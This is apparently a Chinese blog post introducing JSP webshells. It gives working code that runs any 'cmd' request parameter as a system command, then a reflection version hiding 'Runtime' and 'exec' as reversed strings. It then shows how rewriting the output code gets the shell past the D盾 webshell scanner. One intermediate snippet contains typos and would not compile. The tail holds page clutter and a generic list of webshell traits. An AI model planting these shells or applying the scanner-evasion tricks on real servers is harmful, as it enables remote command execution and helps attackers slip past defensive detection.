jsp webshell 初识

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
    out.print(System.getProperty("os.name").toLowerCase()); //os.name获取操作系统的类型
    String cmd = request.getParameter("cmd");  //参数cmd
    if(cmd != null){
    Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); //执行命令,使用列表数组的方式
    InputStream input = p.getInputStream(); //获取字节流
    InputStreamReader ins = new InputStreamReader(input, "GBK"); //放入字符输入流,设置编码防止乱码
    BufferedReader br = new BufferedReader(ins);//从字符输⼊流中读取⽂本并缓冲字符
    out.print("<pre>");
    String line;   //定义line变量
    while((line = br.readLine()) != null) {    //遍历
    out.println(line);     //用line接受每个内容
    }
    out.print("</pre>");    //为了在网页中输出
    br.close();
    ins.close();
    input.close();
    }
%>

放到IDEA中webapp下测试一下

访问得到os.name的信息 代码中可以接收参数cmd 我们提供参数看看 cmd=ipconfig

没问题这里(只是我测试的时候没有处理图片,就不放置了)

<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    class c=class.forname("java.lang.Runtime");
    Method r=c.getDeclareMethod("getRuntime",null);
    Method e=c.getDeclareMethod("exec",String.class);
    Process process = (Process) e.invoke(r.invoke(null,null),"calc");

%>
把test中的修改一下就好了 同样可以得到效果

之前是执行exec参数,这次是可疑文件

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="jdk.internal.util.xml.impl.Input" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
  public static String revstr(String str){
    String line = "";
    for (int i=0;i<str.length();i++){
      line = str.charAt(i) + line;
    }
    return line;
  }
%>
<%
  String cmd = request.getParameter("cmd");
  if (cmd!=null){
    try{
      Class c = Class.forName(revstr("emitnuR.gnal.avaj"));
      Method r = c.getDeclaredMethod(revstr("emitnuRteg"),null);
      Method e = c.getDeclaredMethod(revstr("cexe"),String.class);
      Process process = (Process) e.invoke(r.invoke(null,null),cmd);
      InputStream inputStream = process.getInputStream();
      InputStreamReader is = new InputStreamReader(inputStream,"GBK");
      BufferedReader br = new BufferedReader(is);
      StringBuffer sb = new StringBuffer("<pre>");
      String line;
//            line=br.readLine();
      while ((line=br.readLine())!=null){
        sb.append(line+"\n");
      }
      out.print(sb+"</pre>");
      br.close();
      is.close();
      inputStream.close();
    }catch (IOException e){
      e.printStackTrace();
    }
  }
%>

<%
  out.print(revstr("java.lang.Runtime"));
  out.print("<br>");
  out.print(revstr("getRuntime"));
  out.print("<br>");
  out.print(revstr("exec"));
%>

在D盾跑还是被检测到了,

很有可能是字节输出的代码被检测到了,我们删除了看一下。

果然,删除以后检测不到了,那我们想办法绕过

换一种方式输出字节流

    InputStream input = p.getInputStream(); //获取字节流
    InputStreamReader ins = new InputStreamReader(input, "GBK"); //放入字符输入流,设置编码防止乱码
    int a=-1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=input.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
    input.close();
    //修改成这样

成功绕过

在VT上测一测

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
JSP Webshell 是一种基于 JSP 技术的恶意软件,它被用来在受感染的服务器上执行恶意操作。针对 request 对象的一些常见攻击模式和特征包括: 1. 非法的请求参数:Webshell 可能会使用非法的请求参数来执行恶意操作,例如包含特殊字符、路径遍历、SQL 注入等。 2. 异常的请求路径:Webshell 可能会使用异常的请求路径,例如使用不存在的 JSP 文件名或路径,以触发服务器的异常处理逻辑。 3. 隐藏的请求参数:Webshell 可能会使用隐藏的请求参数,这些参数可能不会在正常请求中出现,但可以触发特定的恶意操作。 4. 远程命令执行:Webshell 可能会通过 request 对象执行远程命令,例如执行系统命令、读取文件内容、连接到远程服务器等。 5. 文件上传漏洞利用:Webshell 可能会利用文件上传漏洞,通过 request 对象上传恶意文件到服务器,并在上传后执行其中的恶意代码。 6. 对 Web 容器的漏洞利用:Webshell 可能会利用 Web 容器(如 Tomcat、Jetty 等)的漏洞,通过 request 对象执行恶意操作。 7. 加密/编码:Webshell 可能会对请求参数进行加密或编码,以避免被检测到。 这些特征只是一些常见的示例,实际上,Webshell 的形式和特征会因攻击者和具体的攻击方式而有所不同。为了保护服务器安全,建议采取安全措施,如及时更新软件、限制文件上传、过滤恶意请求参数等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值